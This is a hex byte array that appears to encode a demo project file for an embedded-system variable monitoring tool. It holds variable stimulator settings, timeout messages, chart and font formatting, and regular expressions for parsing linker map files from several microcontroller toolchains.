0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x30,0x01,0x31,0x01,0x31,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x88,0x13,0x00,0x00,0x01,0x80,0x09,0x76,0x61,0x72,0x38,
0x5F,0x62,0x69,0x74,0x37,0x04,0x75,0x6E,0x69,0x74,0xE8,
0x03,0x00,0x00,0x04,0x76,0x61,0x72,0x38,0x35,0x0D,0x00,
0x20,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,
0x00,0x00,0x0D,0x6F,0x6E,0x65,0x20,0x62,0x69,0x74,0x20,
0x28,0x30,0x78,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,
0x77,0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,
0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x30,0x01,0x31,0x01,0x31,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x88,0x13,0x00,0x00,0x04,0x00,0xFF,0xFF,0x00,0x00,
0x09,0x00,0x43,0x46,0x75,0x6E,0x63,0x74,0x69,0x6F,0x6E,
0x06,0x63,0x6D,0x64,0x5F,0x30,0x30,0x00,0x00,0x00,0x00,
0xE8,0x03,0x00,0x00,0x19,0x43,0x6F,0x6D,0x6D,0x61,0x6E,
0x64,0x20,0x72,0x65,0x73,0x70,0x6F,0x6E,0x73,0x65,0x20,
0x74,0x69,0x6D,0x65,0x6F,0x75,0x74,0x2E,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x1C,0x80,0x06,0x63,0x6D,0x64,
0x5F,0x30,0x31,0x01,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,
0x19,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x20,0x72,0x65,
0x73,0x70,0x6F,0x6E,0x73,0x65,0x20,0x74,0x69,0x6D,0x65,
0x6F,0x75,0x74,0x2E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x1C,0x80,0x06,0x63,0x6D,0x64,0x5F,0x30,0x32,0x02,
0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0x19,0x43,0x6F,0x6D,
0x6D,0x61,0x6E,0x64,0x20,0x72,0x65,0x73,0x70,0x6F,0x6E,
0x73,0x65,0x20,0x74,0x69,0x6D,0x65,0x6F,0x75,0x74,0x2E,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1C,0x80,0x06,
0x63,0x6D,0x64,0x5F,0x30,0x33,0x03,0x00,0x00,0x00,0xE8,
0x03,0x00,0x00,0x19,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,
0x20,0x72,0x65,0x73,0x70,0x6F,0x6E,0x73,0x65,0x20,0x74,
0x69,0x6D,0x65,0x6F,0x75,0x74,0x2E,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x03,0x00,0xFF,0xFF,0x00,0x00,0x0B,
0x00,0x43,0x53,0x74,0x69,0x6D,0x75,0x6C,0x61,0x74,0x6F,
0x72,0x10,0x76,0x61,0x72,0x31,0x36,0x69,0x6E,0x63,0x20,
0x63,0x68,0x61,0x6E,0x67,0x65,0x72,0x03,0x00,0x64,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0xFF,0xFF,0x00,
0x00,0x11,0x00,0x43,0x53,0x74,0x69,0x6D,0x75,0x6C,0x61,
0x74,0x6F,0x72,0x5F,0x50,0x6F,0x69,0x6E,0x74,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x30,0x23,0x80,0x00,
0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x02,0x31,0x35,0x23,
0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x40,0x01,0x30,
0x23,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x1C,0x40,0x01,
0x30,0x21,0x80,0x10,0x76,0x61,0x72,0x33,0x32,0x69,0x6E,
0x63,0x20,0x63,0x68,0x61,0x6E,0x67,0x65,0x72,0x06,0x00,
0x64,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x23,
0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x30,
0x23,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x04,
0x35,0x30,0x30,0x30,0x23,0x80,0x00,0x00,0x00,0x00,0x00,
0x00,0x18,0x40,0x01,0x30,0x23,0x80,0x00,0x00,0x00,0x00,
0x00,0x00,0x1C,0x40,0x01,0x30,0x21,0x80,0x11,0x76,0x61,
0x72,0x46,0x4C,0x54,0x69,0x6E,0x63,0x20,0x63,0x68,0x61,
0x6E,0x67,0x65,0x72,0x12,0x00,0x0A,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x04,0x00,0x23,0x80,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x30,0x23,0x80,0x00,0x00,0x00,
0x00,0x00,0x00,0x08,0x40,0x02,0x31,0x35,0x23,0x80,0x00,
0x00,0x00,0x00,0x00,0x00,0x18,0x40,0x01,0x30,0x23,0x80,
0x00,0x00,0x00,0x00,0x00,0x00,0x1C,0x40,0x01,0x30,0x0E,
0x00,0xFF,0xFF,0x00,0x00,0x13,0x00,0x43,0x50,0x72,0x6A,
0x44,0x6F,0x63,0x5F,0x45,0x6C,0x66,0x46,0x69,0x6C,0x65,
0x54,0x79,0x70,0x65,0xFF,0xFF,0x00,0x00,0x15,0x00,0x43,
0x50,0x72,0x6A,0x44,0x6F,0x63,0x5F,0x48,0x69,0x35,0x30,
0x39,0x46,0x69,0x6C,0x65,0x54,0x79,0x70,0x65,0xFF,0xFF,
0x00,0x00,0x13,0x00,0x43,0x50,0x72,0x6A,0x44,0x6F,0x63,
0x5F,0x52,0x78,0x70,0x46,0x69,0x6C,0x65,0x54,0x79,0x70,
0x65,0x0B,0x78,0x4D,0x61,0x70,0x20,0x70,0x61,0x72,0x73,
0x65,0x72,0x2E,0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,
0x41,0x2D,0x46,0x5D,0x2B,0x29,0x5C,0x73,0x2B,0x28,0x5B,
0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,0x2B,
0x29,0x5C,0x73,0x2B,0x5C,0x53,0x2B,0x5C,0x73,0x2B,0x46,
0x28,0x5C,0x77,0x2B,0x29,0x02,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,0x03,
0x61,0x61,0x61,0x1B,0x28,0x5C,0x64,0x2B,0x29,0x5C,0x77,
0x2A,0x5C,0x73,0x2B,0x28,0x5C,0x64,0x29,0x28,0x5C,0x64,
0x29,0x5C,0x73,0x2B,0x28,0x5C,0x64,0x2B,0x29,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x36,0x80,0x12,0x48,0x61,0x77,0x6B,0x56,0x31,0x20,
0x78,0x4D,0x61,0x70,0x20,0x70,0x61,0x72,0x73,0x65,0x72,
0x2E,0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,
0x46,0x5D,0x2B,0x29,0x5C,0x73,0x2B,0x28,0x5B,0x30,0x2D,
0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,0x2B,0x29,0x5C,
0x73,0x2B,0x5C,0x53,0x2B,0x5C,0x73,0x2B,0x46,0x28,0x5C,
0x77,0x2B,0x29,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,0x0B,0x54,0x49,
0x20,0x6D,0x61,0x70,0x20,0x66,0x69,0x6C,0x65,0x17,0x28,
0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,
0x2B,0x29,0x5C,0x73,0x2B,0x5F,0x28,0x5C,0x77,0x2B,0x29,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x36,0x80,0x03,0x73,0x79,0x63,0x07,0x26,
0x23,0x78,0x32,0x35,0x3B,0x73,0x03,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,
0x0C,0x43,0x6F,0x73,0x6D,0x69,0x63,0x5F,0x48,0x43,0x53,
0x30,0x38,0x33,0x5F,0x28,0x26,0x23,0x78,0x35,0x63,0x3B,
0x77,0x2B,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,
0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,
0x5D,0x2B,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,
0x28,0x26,0x23,0x78,0x35,0x63,0x3B,0x77,0x2B,0x29,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x36,0x80,0x09,0x6D,0x69,0x63,0x72,0x6F,0x63,
0x68,0x69,0x70,0x44,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,
0x28,0x5B,0x26,0x23,0x78,0x35,0x63,0x3B,0x77,0x26,0x23,
0x78,0x35,0x63,0x3B,0x2E,0x5D,0x2B,0x29,0x26,0x23,0x78,
0x35,0x63,0x3B,0x73,0x2B,0x30,0x78,0x28,0x5B,0x30,0x2D,
0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,0x2B,0x29,0x26,
0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,0x28,0x26,0x23,0x78,
0x35,0x63,0x3B,0x64,0x2B,0x29,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,
0x09,0x4D,0x69,0x63,0x72,0x6F,0x43,0x68,0x69,0x70,0x2D,
0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,0x28,0x30,0x78,
0x2E,0x2A,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,
0x28,0x5F,0x5B,0x6C,0x26,0x23,0x78,0x37,0x63,0x3B,0x72,
0x5D,0x2E,0x2A,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,
0x2A,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x36,0x80,0x19,0x43,0x6F,0x64,0x65,
0x57,0x61,0x72,0x72,0x69,0x6F,0x72,0x20,0x43,0x6F,0x6C,
0x64,0x46,0x69,0x72,0x65,0x20,0x78,0x4D,0x41,0x50,0x52,
0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,
0x5D,0x2B,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,
0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,
0x5D,0x2B,0x29,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,
0x26,0x23,0x78,0x35,0x63,0x3B,0x2E,0x64,0x61,0x74,0x61,
0x2B,0x26,0x23,0x78,0x35,0x63,0x3B,0x73,0x2B,0x28,0x26,
0x23,0x78,0x35,0x63,0x3B,0x53,0x2B,0x29,0x26,0x23,0x78,
0x35,0x63,0x3B,0x73,0x2B,0x02,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,0x0C,
0x54,0x49,0x20,0x6D,0x61,0x70,0x20,0x66,0x69,0x6C,0x65,
0x20,0x17,0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,
0x2D,0x46,0x5D,0x2B,0x29,0x5C,0x73,0x2B,0x5F,0x28,0x5C,
0x77,0x2B,0x29,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,0x1E,0x43,0x6F,
0x64,0x65,0x57,0x61,0x72,0x72,0x69,0x6F,0x72,0x20,0x43,
0x6F,0x6C,0x64,0x46,0x69,0x72,0x65,0x20,0x78,0x4D,0x41,
0x50,0x20,0x67,0x79,0x72,0x6F,0x34,0x28,0x5B,0x30,0x2D,
0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,0x2B,0x29,0x5C,
0x73,0x2B,0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,
0x2D,0x46,0x5D,0x2B,0x29,0x5C,0x73,0x2B,0x5C,0x2E,0x64,
0x61,0x74,0x61,0x2B,0x5C,0x73,0x2B,0x28,0x5C,0x53,0x2B,
0x29,0x5C,0x73,0x2B,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x80,0x14,0x43,
0x6F,0x6C,0x64,0x46,0x69,0x72,0x65,0x20,0x78,0x4D,0x41,
0x50,0x20,0x2D,0x20,0x67,0x79,0x72,0x6F,0x30,0x28,0x5B,
0x30,0x2D,0x39,0x61,0x2D,0x66,0x41,0x2D,0x46,0x5D,0x2B,
0x29,0x5C,0x73,0x2B,0x28,0x5B,0x30,0x2D,0x39,0x61,0x2D,
0x66,0x41,0x2D,0x46,0x5D,0x2B,0x29,0x5C,0x73,0x2B,0x5C,
0x53,0x2B,0x5C,0x73,0x2B,0x28,0x5C,0x53,0x2B,0x29,0x5C,
0x73,0x2B,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x0B,0x5F,0x68,0x74,0x6D,
0x6C,0x5F,0x73,0x6D,0x61,0x6C,0x6C,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0B,
0x77,0x65,0x6C,0x63,0x6F,0x6D,0x65,0x2E,0x68,0x74,0x6D,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,
0x00,0x00,0x0F,0x00,0x43,0x50,0x72,0x6A,0x49,0x74,0x65,
0x6D,0x50,0x72,0x6F,0x6A,0x65,0x63,0x74,0x00,0x00,0x10,
0x54,0x68,0x65,0x20,0x44,0x65,0x6D,0x6F,0x20,0x50,0x72,
0x6F,0x6A,0x65,0x63,0x74,0x00,0x0C,0x00,0x0B,0x00,0x0C,
0x00,0x02,0x00,0x03,0x00,0x05,0x00,0x06,0x00,0x08,0x00,
0x09,0x00,0x0E,0x00,0x0F,0x00,0x11,0x00,0x12,0x00,0x00,
0x00,0x04,0x00,0xFF,0xFF,0x00,0x00,0x0D,0x00,0x43,0x50,
0x72,0x6A,0x49,0x74,0x65,0x6D,0x42,0x6C,0x6F,0x63,0x6B,
0x44,0x00,0x1B,0x53,0x75,0x62,0x2D,0x62,0x6C,0x6F,0x63,
0x6B,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x75,0x73,0x74,
0x6F,0x6D,0x20,0x77,0x61,0x74,0x63,0x68,0x36,0x61,0x62,
0x6F,0x75,0x74,0x3A,0x79,0x6F,0x75,0x20,0x63,0x61,0x6E,
0x20,0x73,0x70,0x65,0x63,0x69,0x66,0x79,0x20,0x48,0x54,
0x4D,0x4C,0x20,0x66,0x69,0x6C,0x65,0x20,0x77,0x69,0x74,
0x68,0x20,0x62,0x6C,0x6F,0x63,0x6B,0x20,0x64,0x65,0x73,
0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x0D,0x00,0x02,
0x00,0x03,0x00,0x05,0x00,0x06,0x00,0x0B,0x00,0x14,0x00,
0x15,0x00,0x16,0x00,0x17,0x00,0x18,0x00,0x19,0x00,0x1A,
0x00,0x1B,0x00,0x00,0x00,0x01,0x00,0xFF,0xFF,0x00,0x00,
0x0D,0x00,0x43,0x50,0x72,0x6A,0x49,0x74,0x65,0x6D,0x53,
0x63,0x6F,0x70,0x65,0x46,0x00,0x10,0x41,0x6E,0x64,0x20,
0x63,0x75,0x73,0x74,0x6F,0x6D,0x20,0x53,0x63,0x6F,0x70,
0x65,0x2A,0x61,0x62,0x6F,0x75,0x74,0x3A,0x65,0x61,0x63,
0x68,0x20,0x69,0x74,0x65,0x6D,0x20,0x63,0x61,0x6E,0x20,
0x68,0x61,0x76,0x65,0x20,0x69,0x74,0x73,0x20,0x6F,0x77,
0x6E,0x20,0x48,0x54,0x4D,0x4C,0x20,0x70,0x61,0x67,0x65,
0xE8,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x04,0x54,0x69,0x6D,0x65,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x02,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0xED,0x2D,0x2E,0x00,0x03,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x8C,0x47,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x18,0x59,
0xA9,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0xF3,0x7D,0x22,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0x66,0x2C,0x91,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xA1,0x1D,0x20,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xB3,
0x38,0x93,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,0x00,0x00,
0x24,0x40,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0F,0x31,0x36,0x20,0x62,0x69,0x74,
0x20,0x76,0x61,0x72,0x69,0x61,0x62,0x6C,0x65,0x09,0x69,
0x6E,0x63,0x72,0x65,0x6D,0x65,0x6E,0x74,0x01,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,
0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x31,0x36,0x20,0x62,
0x69,0x74,0x73,0x09,0x69,0x6E,0x63,0x72,0x65,0x6D,0x65,
0x6E,0x74,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0x40,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x07,0x33,0x32,0x20,0x62,0x69,0x74,0x73,0x09,0x69,0x6E,
0x63,0x72,0x65,0x6D,0x65,0x6E,0x74,0x00,0x00,0x00,0x00,
0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0xC0,0x00,0x00,
0x00,0x00,0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,0x00,
0x00,0x24,0x40,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x05,0x6C,0x41,0x78,0x69,0x73,
0x05,0x72,0x41,0x78,0x69,0x73,0x00,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0xC0,
0x00,0x00,0x00,0x00,0x00,0x00,0x24,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,0x00,0x00,
0x24,0x40,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x05,0x6C,0x41,0x78,0x69,0x73,0x05,
0x72,0x41,0x78,0x69,0x73,0x00,0x00,0x00,0x00,0x05,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0xC0,0x00,
0x00,0x00,0x00,0x00,0x00,0x24,0xC0,0x00,0x00,0x00,0x00,
0x00,0x00,0x24,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x24,
0x40,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x05,0x6C,0x41,0x78,0x69,0x73,0x05,0x72,
0x41,0x78,0x69,0x73,0x7B,0x14,0xAE,0x47,0xE1,0x7A,0x74,
0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x24,0x40,0x06,0x54,0x61,0x68,0x6F,0x6D,0x61,0x00,0x00,
0x00,0x00,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x00,0x00,0x00,0x00,0x00,0x04,0x00,0xFF,0xFF,0x00,0x00,
0x15,0x00,0x43,0x50,0x72,0x6A,0x49,0x74,0x65,0x6D,0x42,
0x6C,0x6F,0x63,0x6B,0x5F,0x43,0x6F,0x6C,0x49,0x6E,0x66,
0x6F,0x01,0x00,0x00,0x00,0x7B,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x49,0x80,0x01,0x00,0x00,0x00,0xAB,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x49,0x80,0x01,0x00,0x00,0x00,
0x37,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x49,0x80,0x01,
0x00,0x00,0x00,0x32,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
0x0D,0x00,0x06,0x00,0xFF,0xFF,0x00,0x00,0x15,0x00,0x43,
0x50,0x72,0x6A,0x49,0x74,0x65,0x6D,0x42,0x6C,0x6F,0x63,
0x6B,0x5F,0x56,0x61,0x72,0x49,0x6E,0x66,0x6F,0x04,0x00,
0xFF,0xFF,0x00,0x00,0x18,0x00,0x43,0x50,0x72,0x6A,0x49,
0x74,0x65,0x6D,0x42,0x6C,0x6F,0x63,0x6B,0x5F,0x43,0x65,
0x6C,0x6C,0x46,0x6F,0x72,0x6D,0x61,0x74,0x06,0x54,0x61,
0x68,0x6F,0x6D,0x61,0x00,0x00,0x00,0x20,0x41,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,
0x00,0x00,0x00,0xCA,0xFB,0xF5,0x00,0x00,0x00,0x00,0x00,
0x50,0x80,0x06,0x54,0x61,0x68,0x6F,0x6D,0x61,0x00,0x00,
0x00,0x20,0x41,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0xCA,0xFB,0xF5,
0x00,0x00,0x00,0x00,0x00,0x50,0x80,0x06,0x54,0x61,0x68,
0x6F,0x6D,0x61,0x00,0x00,0x00,0x20,0x41,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,
0x00,0x00,0xCA,0xFB,0xF5,0x00,0x00,0x00,0x00,0x00,0x50,
0x80,0x06,0x54,0x61,0x68,0x6F,0x6D,0x61,0x00,0x00,0x00,
0x20,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x21,0x00,0x00,0x00,0xCA,0xFB,0xF5,0x00,
0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x02,0x00,0x4E,
0x80,0x04,0x00,0x50,0x80,0x06,0x54,0x61,0x68,0x6F,0x6D,
0x61,0x00,0x00,0x00,0x20,0x41,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,
0xE1,0xFB,0xCA,0x00,0x00,0x00,0x00,0x00,0x50,0x80,0x06,
0x54,0x61,0x68,0x6F,0x6D,0x61,0x00,0x00,0x00,0x20,0x41,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x21,0x00,0x00,0x00,0xE1,0xFB,0xCA,0x00,0x00,0x00,
0x00,0x00,0x50,0x80,0x06,0x54,0x61,0x68,0x6F,0x6D,0x61,
0x00,0x00,0x00,0x20,0x41,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0xE1,
0xFB,0xCA,0x00,0x00,0x00,0x00,0x00,0x50,0x80,0x06,0x54,
0x61,0x68,0x6F,0x6D,0x61,0x00,0x00,0x00,0x20,0x41,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x21,0x00,0x00,0x00,0xE1,0xFB,0xCA,0x00,0x00,0x00,0x00,
